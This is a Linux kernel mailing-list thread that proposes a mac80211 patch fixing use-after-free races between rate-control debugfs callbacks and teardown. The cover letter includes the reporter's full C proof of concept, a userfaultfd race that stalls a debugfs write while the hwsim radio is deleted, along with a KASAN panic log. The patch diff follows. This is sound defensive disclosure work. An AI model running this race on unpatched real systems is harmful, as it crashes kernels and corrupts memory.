All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free
@ 2026-10-28 15:43 Ren Wei
  2026-10-28 15:43 ` [PATCH 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-10-28 15:43 UTC (permalink / raw)
  To: linux-wireless
  Cc: johannes, nbd, linville, sumit.garg, vega, petalzu987, weir

From: Zixuan Chai <petalzu987@gmail.com>

This patch drains rate-control debugfs callbacks before freeing their
state, and closes interface creation during teardown. It also fixes the
notifier-failure unwind order on the current wireless/main base.

Hi Linux kernel maintainers,

This patch fixes use-after-free races when mac80211 rate-control state is
torn down while debugfs callbacks remain active. The archived reproducer
requires root in the initial user namespace, a mac80211_hwsim radio using
minstrel_ht, mounted debugfs, and userfaultfd support.

---- details below ----

Bug details:

The fixed_rate_idx debugfs file points into Minstrel's private allocation.
rate_control_free() previously freed that allocation before removing the
debugfs subtree, so an active write could resume after copy_from_user()
and access freed state. The root-level rate_ctrl_alg file has a related
lifetime: its callback reads local->rate_ctrl while teardown releases the
rate-control reference.

The patch saves the rate_ctrl_alg dentry and synchronously removes both
rate-control debugfs entries before clearing local->rate_ctrl or freeing
private state. Interface removal marks local->unregistering under RTNL;
ieee80211_if_add() then rejects additions during deinitialization. In the
notifier-failure path, interfaces are removed under RTNL, RTNL is released,
rate control is deinitialized, and only then is the wiphy unregistered.

The Fixes trailers identify the relevant changes: 5b5e87314efb removed
Minstrel's per-file debugfs cleanup; bddb2afcb6c5 added the root-level
rate_ctrl_alg file; 75636525fbfa removed the old interface registration
gate; and 52e04b4ce5d0 moved wiphy unregistration before rate-control
deinitialization on the registration-failure path.

Reproducer:

Build dependencies are gcc, make, libnl-3-dev, and libnl-genl-3-dev. From
the archived input/poc directory, run as root in the initial user namespace
with debugfs mounted and an hwsim Minstrel radio available:

  make
  ./poc

The reporter's archived QEMU log is from Linux 6.12.95 and records a
KASAN-triggered panic in debugfs_u32_set() during the fixed_rate_idx write.
It is historical reporter evidence, not output from the current patched
guest.

This candidate was built against wireless/main commit
25e73f1d6868c759c8eb56cad4e411692c5341b4 and tested in a 1-vCPU, 4-GiB
QEMU TCG guest with KASAN enabled and panic_on_warn=0. The fixed-rate
userfaultfd race was exercised with a separate raw-netlink harness, not the
reporter's libnl PoC, and completed with write_result=2, delete_result=0,
and the faulting page supplied. The rate_ctrl_alg reader test completed 100
rounds with two readers and no observed KASAN report. A 2-second interface
add/delete run completed with 65 attempts, 15 successes, 50 ENODEV-family
failures, and delete ACK 0. These tests exercised the patched guest only;
there was no clean-guest comparison for this candidate.

After those tests, an optional fixed_rate_idx check targeted phy0 after the
interface harness had deleted it. That missing path made the init=/bin/bash
PID 1 shell exit; the kernel reported "Attempted to kill init". This was a
harness sequencing error, not a target KASAN/Oops finding. The optional
functional read/write check did not complete. The notifier-registration
failure path was not directly fault-injected.

The reporter's PoC and original QEMU log below are copied verbatim from
input/poc/poc.c and input/poc/qemu.log, respectively.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/userfaultfd.h>

#include <netlink/attr.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>

enum hwsim_commands {
	HWSIM_CMD_UNSPEC,
	HWSIM_CMD_REGISTER,
	HWSIM_CMD_FRAME,
	HWSIM_CMD_TX_INFO_FRAME,
	HWSIM_CMD_NEW_RADIO,
	HWSIM_CMD_DEL_RADIO,
	HWSIM_CMD_GET_RADIO,
};

enum hwsim_attrs {
	HWSIM_ATTR_UNSPEC,
	HWSIM_ATTR_ADDR_RECEIVER,
	HWSIM_ATTR_ADDR_TRANSMITTER,
	HWSIM_ATTR_FRAME,
	HWSIM_ATTR_FLAGS,
	HWSIM_ATTR_RX_RATE,
	HWSIM_ATTR_SIGNAL,
	HWSIM_ATTR_TX_INFO,
	HWSIM_ATTR_COOKIE,
	HWSIM_ATTR_CHANNELS,
	HWSIM_ATTR_RADIO_ID,
	HWSIM_ATTR_REG_HINT_ALPHA2,
	HWSIM_ATTR_REG_CUSTOM_REG,
	HWSIM_ATTR_REG_STRICT_REG,
	HWSIM_ATTR_SUPPORT_P2P_DEVICE,
	HWSIM_ATTR_USE_CHANCTX,
	HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE,
	HWSIM_ATTR_RADIO_NAME,
};

struct race_state {
	int uffd;
	size_t page_size;
	void *fault_page;
	char payload[32];
	pthread_mutex_t lock;
	pthread_cond_t cond;
	bool fault_seen;
	bool allow_resume;
	bool page_copied;
};

struct delete_state {
	pthread_mutex_t lock;
	pthread_cond_t cond;
	bool should_delete;
	char phy_name[NAME_MAX];
};

struct write_state {
	int fd;
	const void *buf;
	size_t len;
};

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void die_nl(int err, const char *what)
{
	fprintf(stderr, "%s: %s\n", what, nl_geterror(err));
	exit(EXIT_FAILURE);
}

static int file_exists(const char *path)
{
	return access(path, F_OK) == 0;
}

static int find_hwsim_phy(char *phy_name, size_t phy_name_len, char *fixed_rate_path,
			  size_t fixed_rate_path_len)
{
	DIR *dir;
	struct dirent *de;
	char hwsim_path[PATH_MAX];
	char rc_path[PATH_MAX];

	dir = opendir("/sys/kernel/debug/ieee80211");
	if (!dir)
		return -1;

	while ((de = readdir(dir)) != NULL) {
		if (strncmp(de->d_name, "phy", 3) != 0)
			continue;

		snprintf(hwsim_path, sizeof(hwsim_path),
			 "/sys/kernel/debug/ieee80211/%s/hwsim", de->d_name);
		snprintf(rc_path, sizeof(rc_path),
			 "/sys/kernel/debug/ieee80211/%s/rc/fixed_rate_idx",
			 de->d_name);

		if (!file_exists(hwsim_path) || !file_exists(rc_path))
			continue;

		if (strlen(de->d_name) >= phy_name_len)
			continue;
		strcpy(phy_name, de->d_name);
		snprintf(fixed_rate_path, fixed_rate_path_len, "%s", rc_path);
		closedir(dir);
		return 0;
	}

	closedir(dir);
	return -1;
}

static int del_radio_by_name(const char *phy_name)
{
	struct nl_sock *sock;
	struct nl_msg *msg;
	int family;
	int err;

	sock = nl_socket_alloc();
	if (!sock)
		return -NLE_NOMEM;

	err = genl_connect(sock);
	if (err < 0) {
		nl_socket_free(sock);
		return err;
	}

	family = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
	if (family < 0) {
		nl_socket_free(sock);
		return family;
	}

	msg = nlmsg_alloc();
	if (!msg) {
		nl_socket_free(sock);
		return -NLE_NOMEM;
	}

	if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family, 0, 0,
			 HWSIM_CMD_DEL_RADIO, 1)) {
		nlmsg_free(msg);
		nl_socket_free(sock);
		return -NLE_MSGSIZE;
	}

	err = nla_put_string(msg, HWSIM_ATTR_RADIO_NAME, phy_name);
	if (err < 0) {
		nlmsg_free(msg);
		nl_socket_free(sock);
		return err;
	}

	err = nl_send_auto(sock, msg);
	nlmsg_free(msg);
	if (err < 0) {
		nl_socket_free(sock);
		return err;
	}

	err = nl_wait_for_ack(sock);
	nl_socket_free(sock);
	return err;
}

static void *uffd_thread(void *arg)
{
	struct race_state *race = arg;
	struct pollfd pfd = {
		.fd = race->uffd,
		.events = POLLIN,
	};
	struct uffd_msg msg;
	char *page;
	ssize_t nread;
	struct uffdio_copy copy = {};

	if (poll(&pfd, 1, -1) < 0)
		die_errno("poll(userfaultfd)");

	nread = read(race->uffd, &msg, sizeof(msg));
	if (nread < 0)
		die_errno("read(userfaultfd)");
	if ((size_t)nread != sizeof(msg)) {
		fprintf(stderr, "short read from userfaultfd: %zd\n", nread);
		exit(EXIT_FAILURE);
	}
	if (msg.event != UFFD_EVENT_PAGEFAULT) {
		fprintf(stderr, "unexpected userfaultfd event: %u\n", msg.event);
		exit(EXIT_FAILURE);
	}

	pthread_mutex_lock(&race->lock);
	race->fault_seen = true;
	pthread_cond_broadcast(&race->cond);
	while (!race->allow_resume)
		pthread_cond_wait(&race->cond, &race->lock);
	pthread_mutex_unlock(&race->lock);

	page = calloc(1, race->page_size);
	if (!page)
		die_errno("calloc(page)");
	memcpy(page, race->payload, strlen(race->payload));

	copy.src = (unsigned long)page;
	copy.dst = (unsigned long)race->fault_page;
	copy.len = race->page_size;
	if (ioctl(race->uffd, UFFDIO_COPY, &copy) < 0)
		die_errno("ioctl(UFFDIO_COPY)");

	free(page);

	pthread_mutex_lock(&race->lock);
	race->page_copied = true;
	pthread_cond_broadcast(&race->cond);
	pthread_mutex_unlock(&race->lock);

	return NULL;
}

static void *delete_thread(void *arg)
{
	struct delete_state *state = arg;
	int err;

	pthread_mutex_lock(&state->lock);
	while (!state->should_delete)
		pthread_cond_wait(&state->cond, &state->lock);
	pthread_mutex_unlock(&state->lock);

	fprintf(stderr, "[*] deleting radio %s\n", state->phy_name);
	err = del_radio_by_name(state->phy_name);
	if (err < 0)
		die_nl(err, "HWSIM_CMD_DEL_RADIO");

	fprintf(stderr, "[*] delete request finished\n");
	return NULL;
}

static void *write_thread(void *arg)
{
	struct write_state *state = arg;
	static ssize_t result;

	result = write(state->fd, state->buf, state->len);
	fprintf(stderr, "[*] write() returned %zd (errno=%d)\n", result, errno);
	return NULL;
}

static int setup_userfaultfd(struct race_state *race)
{
	struct uffdio_api api = {
		.api = UFFD_API,
	};
	struct uffdio_register reg = {
		.range = {
			.start = (unsigned long)race->fault_page,
			.len = race->page_size,
		},
		.mode = UFFDIO_REGISTER_MODE_MISSING,
	};

	race->uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (race->uffd < 0)
		return -1;
	if (ioctl(race->uffd, UFFDIO_API, &api) < 0)
		return -1;
	if (ioctl(race->uffd, UFFDIO_REGISTER, &reg) < 0)
		return -1;
	return 0;
}

int main(void)
{
	char phy_name[NAME_MAX];
	char fixed_rate_path[PATH_MAX];
	struct race_state race = {
		.uffd = -1,
		.payload = "7\n",
		.lock = PTHREAD_MUTEX_INITIALIZER,
		.cond = PTHREAD_COND_INITIALIZER,
	};
	struct delete_state del = {
		.lock = PTHREAD_MUTEX_INITIALIZER,
		.cond = PTHREAD_COND_INITIALIZER,
	};
	pthread_t uffd_tid;
	pthread_t del_tid;
	pthread_t wr_tid;
	size_t page_size;
	int fd;
	void *map;
	struct write_state write_arg = {};

	if (geteuid() != 0) {
		fprintf(stderr, "run as root\n");
		return EXIT_FAILURE;
	}

	if (find_hwsim_phy(phy_name, sizeof(phy_name), fixed_rate_path,
			   sizeof(fixed_rate_path)) != 0) {
		fprintf(stderr, "no hwsim fixed_rate_idx file found\n");
		return EXIT_FAILURE;
	}

	fprintf(stderr, "[*] target radio: %s\n", phy_name);
	fprintf(stderr, "[*] target file: %s\n", fixed_rate_path);

	fd = open(fixed_rate_path, O_WRONLY);
	if (fd < 0)
		die_errno("open(fixed_rate_idx)");

	page_size = sysconf(_SC_PAGESIZE);
	if ((long)page_size <= 0) {
		fprintf(stderr, "invalid page size\n");
		return EXIT_FAILURE;
	}

	map = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
		   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map == MAP_FAILED)
		die_errno("mmap");

	race.page_size = page_size;
	race.fault_page = map;

	if (setup_userfaultfd(&race) != 0)
		die_errno("setup_userfaultfd");

	snprintf(del.phy_name, sizeof(del.phy_name), "%s", phy_name);
	write_arg.fd = fd;
	write_arg.buf = race.fault_page;
	write_arg.len = strlen(race.payload);

	if (pthread_create(&uffd_tid, NULL, uffd_thread, &race) != 0)
		die_errno("pthread_create(uffd)");
	if (pthread_create(&del_tid, NULL, delete_thread, &del) != 0)
		die_errno("pthread_create(delete)");
	if (pthread_create(&wr_tid, NULL, write_thread, &write_arg) != 0)
		die_errno("pthread_create(write)");

	pthread_mutex_lock(&race.lock);
	while (!race.fault_seen)
		pthread_cond_wait(&race.cond, &race.lock);
	pthread_mutex_unlock(&race.lock);
	fprintf(stderr, "[*] write is stalled in copy_from_user()\n");

	pthread_mutex_lock(&del.lock);
	del.should_delete = true;
	pthread_cond_signal(&del.cond);
	pthread_mutex_unlock(&del.lock);

	/* Let teardown get past kfree(priv) and block in debugfs removal. */
	usleep(500000);

	pthread_mutex_lock(&race.lock);
	race.allow_resume = true;
	pthread_cond_signal(&race.cond);
	pthread_mutex_unlock(&race.lock);
	fprintf(stderr, "[*] released the faulting page\n");

	pthread_join(wr_tid, NULL);
	pthread_join(uffd_tid, NULL);
	pthread_join(del_tid, NULL);

	sleep(1);
	return EXIT_SUCCESS;
}
------END poc.c------

----BEGIN reporter crash log----
[  263.287963][T10466] page_owner tracks the page as allocated
[  263.288967][T10466] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP), pid 1, tgid 1 (swapper/0), ts 14264745909, free_ts 14238581692
[  263.292072][T10466] page last free pid 59 tgid 59 stack trace:
[  263.293579][T10466] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  263.295017][T10466] CPU: 2 UID: 0 PID: 10466 Comm: poc Not tainted 6.12.95 #2
[  263.296464][T10466] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  263.298775][T10466] Call Trace:
[  263.299251][T10466]  <TASK>
[  263.299702][T10466]  panic+0x533/0x610
[  263.300304][T10466]  ? __pfx_panic+0x10/0x10
[  263.300971][T10466]  ? irqentry_exit+0x3b/0x90
[  263.301639][T10466]  ? srso_alias_return_thunk+0x5/0xfbef5
[  263.302459][T10466]  ? debugfs_u32_set+0x4a/0x60
[  263.303209][T10466]  ? debugfs_u32_set+0x4a/0x60
[  263.303892][T10466]  check_panic_on_warn+0x61/0x80
[  263.304595][T10466]  end_report+0x11b/0x180
[  263.305207][T10466]  kasan_report+0xe8/0x110
[  263.305867][T10466]  ? debugfs_u32_set+0x4a/0x60
[  263.306532][T10466]  ? __pfx_debugfs_u32_set+0x10/0x10
[  263.307303][T10466]  debugfs_u32_set+0x4a/0x60
[  263.307957][T10466]  simple_attr_write_xsigned.isra.0+0x1a0/0x260
[  263.308842][T10466]  ? __pfx_simple_attr_write_xsigned.isra.0+0x10/0x10
[  263.309849][T10466]  ? rcu_is_watching+0x12/0xc0
[  263.310571][T10466]  ? srso_alias_return_thunk+0x5/0xfbef5
[  263.311387][T10466]  ? trace_lock_acquire+0x145/0x1c0
[  263.312151][T10466]  ? srso_alias_return_thunk+0x5/0xfbef5
[  263.312966][T10466]  ? ksys_write+0xfb/0x1d0
[  263.313619][T10466]  debugfs_attr_write+0x65/0x90
[  263.314301][T10466]  vfs_write+0x21d/0xf30
[  263.314913][T10466]  ? __pfx_vfs_write+0x10/0x10
[  263.315586][T10466]  ? srso_alias_return_thunk+0x5/0xfbef5
[  263.316398][T10466]  ? srso_alias_return_thunk+0x5/0xfbef5
[  263.317287][T10466]  ? __fget_files+0x1c9/0x300
[  263.318131][T10466]  ksys_write+0xfb/0x1d0
[  263.318899][T10466]  ? __pfx_ksys_write+0x10/0x10
[  263.319777][T10466]  ? srso_alias_return_thunk+0x5/0xfbef5
[  263.320789][T10466]  do_syscall_64+0xc7/0x270
[  263.321632][T10466]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  263.322694][T10466] RIP: 0033:0x7f5a4a8199ee
[  263.323461][T10466] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[  263.326888][T10466] RSP: 002b:00007f5a49779e68 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[  263.328528][T10466] RAX: ffffffffffffffda RBX: 00007f5a4977a6c0 RCX: 00007f5a4a8199ee
[  263.330096][T10466] RDX: 0000000000000002 RSI: 00007f5a4a9b0000 RDI: 0000000000000003
[  263.331503][T10466] RBP: ffffffffffffff40 R08: 0000000000000000 R09: 0000000000000000
[  263.332893][T10466] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000020
[  263.334318][T10466] R13: 0000000000000002 R14: 00007ffe52acf820 R15: 00007f5a48f7a000
[  263.335728][T10466]  </TASK>
[  263.336683][T10466] Kernel Offset: disabled
[  263.337470][T10466] Rebooting in 86400 seconds..
----END reporter crash log----

Best regards,
Zixuan Chai

Zixuan Chai (1):
  wifi: mac80211: drain rate-control debugfs before free

 net/mac80211/debugfs.c     | 2 +-
 net/mac80211/ieee80211_i.h | 2 ++
 net/mac80211/iface.c       | 4 ++++
 net/mac80211/main.c        | 5 +++++
 net/mac80211/rate.c        | 7 ++++---
 5 files changed, 16 insertions(+), 4 deletions(-)

-- 
2.34.1


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH 1/1] wifi: mac80211: drain rate-control debugfs before free
  2026-10-28 15:43 [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free Ren Wei
@ 2026-10-28 15:43 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-10-28 15:43 UTC (permalink / raw)
  To: linux-wireless
  Cc: johannes, nbd, linville, sumit.garg, vega, petalzu987, weir

From: Zixuan Chai <petalzu987@gmail.com>

The fixed_rate_idx debugfs file refers to Minstrel private state, and
rate_ctrl_alg reads local->rate_ctrl. Teardown can free these objects
while a debugfs callback is still active, allowing the callback to use
freed state.

Remove both debugfs files synchronously before clearing the rate-control
pointer or freeing algorithm state. Reject new interface additions once
unregistration starts, so no interface can attach while rate control is
being deinitialized.

On notifier-registration failure, remove interfaces under RTNL, then
drop RTNL before deinitializing rate control. Keep the wiphy registered
until the debugfs callbacks have drained, then unregister it.

Fixes: 5b5e87314efb ("mac80211: minstrel: remove unnecessary debugfs cleanup code")
Fixes: bddb2afcb6c5 ("mac80211: add back lost debugfs files")
Fixes: 75636525fbfa ("mac80211: revamp virtual interface handling")
Fixes: 52e04b4ce5d0 ("mac80211: fix race in ieee80211_register_hw()")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/mac80211/debugfs.c     | 2 +-
 net/mac80211/ieee80211_i.h | 2 ++
 net/mac80211/iface.c       | 4 ++++
 net/mac80211/main.c        | 5 +++++
 net/mac80211/rate.c        | 7 ++++---
 5 files changed, 16 insertions(+), 4 deletions(-)

diff --git a/net/mac80211/debugfs.c b/net/mac80211/debugfs.c
index e38631d7cfb42..20d1db583f94b 100644
--- a/net/mac80211/debugfs.c
+++ b/net/mac80211/debugfs.c
@@ -654,7 +654,7 @@ void debugfs_hw_add(struct ieee80211_local *local)
 
 	DEBUGFS_ADD(total_ps_buffered);
 	DEBUGFS_ADD(wep_iv);
-	DEBUGFS_ADD(rate_ctrl_alg);
+	local->debugfs.rate_ctrl_alg = DEBUGFS_ADD(rate_ctrl_alg);
 	DEBUGFS_ADD(queues);
 	DEBUGFS_ADD(misc);
 #ifdef CONFIG_PM
diff --git a/net/mac80211/ieee80211_i.h b/net/mac80211/ieee80211_i.h
index 9374c2942489c..4243be432ccb9 100644
--- a/net/mac80211/ieee80211_i.h
+++ b/net/mac80211/ieee80211_i.h
@@ -1535,6 +1535,7 @@ struct ieee80211_local {
 
 	/* device is started */
 	bool started;
+	bool unregistering;
 
 	/* device is during a HW reconfig */
 	bool in_reconfig;
@@ -1698,6 +1699,7 @@ struct ieee80211_local {
 #ifdef CONFIG_MAC80211_DEBUGFS
 	struct local_debugfsdentries {
 		struct dentry *rcdir;
+		struct dentry *rate_ctrl_alg;
 		struct dentry *keys;
 	} debugfs;
 	bool force_tx_status;
diff --git a/net/mac80211/iface.c b/net/mac80211/iface.c
index 5f0c482bd4a5a..6047614ec7804 100644
--- a/net/mac80211/iface.c
+++ b/net/mac80211/iface.c
@@ -2278,6 +2278,9 @@ int ieee80211_if_add(struct ieee80211_local *local, const char *name,
 	ASSERT_RTNL();
 	lockdep_assert_wiphy(local->hw.wiphy);
 
+	if (local->unregistering)
+		return -ENODEV;
+
 	if (type == NL80211_IFTYPE_P2P_DEVICE || type == NL80211_IFTYPE_NAN) {
 		int size = ALIGN(sizeof(*sdata) + local->hw.vif_data_size,
 				 sizeof(void *));
@@ -2490,6 +2493,7 @@ void ieee80211_remove_interfaces(struct ieee80211_local *local)
 	LIST_HEAD(unreg_list);
 
 	ASSERT_RTNL();
+	local->unregistering = true;
 
 	/* Before destroying the interfaces, make sure they're all stopped so
 	 * that the hardware is stopped. Otherwise, the driver might still be
diff --git a/net/mac80211/main.c b/net/mac80211/main.c
index 6408e8464338d..b34fbe74cff96 100644
--- a/net/mac80211/main.c
+++ b/net/mac80211/main.c
@@ -1679,7 +1679,12 @@ int ieee80211_register_hw(struct ieee80211_hw *hw)
 #if defined(CONFIG_INET) || defined(CONFIG_IPV6)
  fail_ifa:
 #endif
+	rtnl_lock();
+	ieee80211_remove_interfaces(local);
+	rtnl_unlock();
+	rate_control_deinitialize(local);
 	wiphy_unregister(local->hw.wiphy);
+	goto fail_rate;
  fail_wiphy_register:
  fail_band:
 	rtnl_lock();
diff --git a/net/mac80211/rate.c b/net/mac80211/rate.c
index e910f03af7775..8e90c134f1db1 100644
--- a/net/mac80211/rate.c
+++ b/net/mac80211/rate.c
@@ -281,13 +281,15 @@ rate_control_alloc(const char *name, struct ieee80211_local *local)
 static void rate_control_free(struct ieee80211_local *local,
 			      struct rate_control_ref *ctrl_ref)
 {
-	ctrl_ref->ops->free(ctrl_ref->priv);
-
 #ifdef CONFIG_MAC80211_DEBUGFS
 	debugfs_remove_recursive(local->debugfs.rcdir);
 	local->debugfs.rcdir = NULL;
+	debugfs_remove(local->debugfs.rate_ctrl_alg);
+	local->debugfs.rate_ctrl_alg = NULL;
 #endif
 
+	local->rate_ctrl = NULL;
+	ctrl_ref->ops->free(ctrl_ref->priv);
 	kfree(ctrl_ref);
 }
 
@@ -1038,6 +1040,5 @@ void rate_control_deinitialize(struct ieee80211_local *local)
 	if (!ref)
 		return;
 
-	local->rate_ctrl = NULL;
 	rate_control_free(local, ref);
 }
-- 
2.34.1


^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-28 15:43 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-28 15:43 [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free Ren Wei
2026-10-28 15:43 ` [PATCH 1/1] " Ren Wei

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.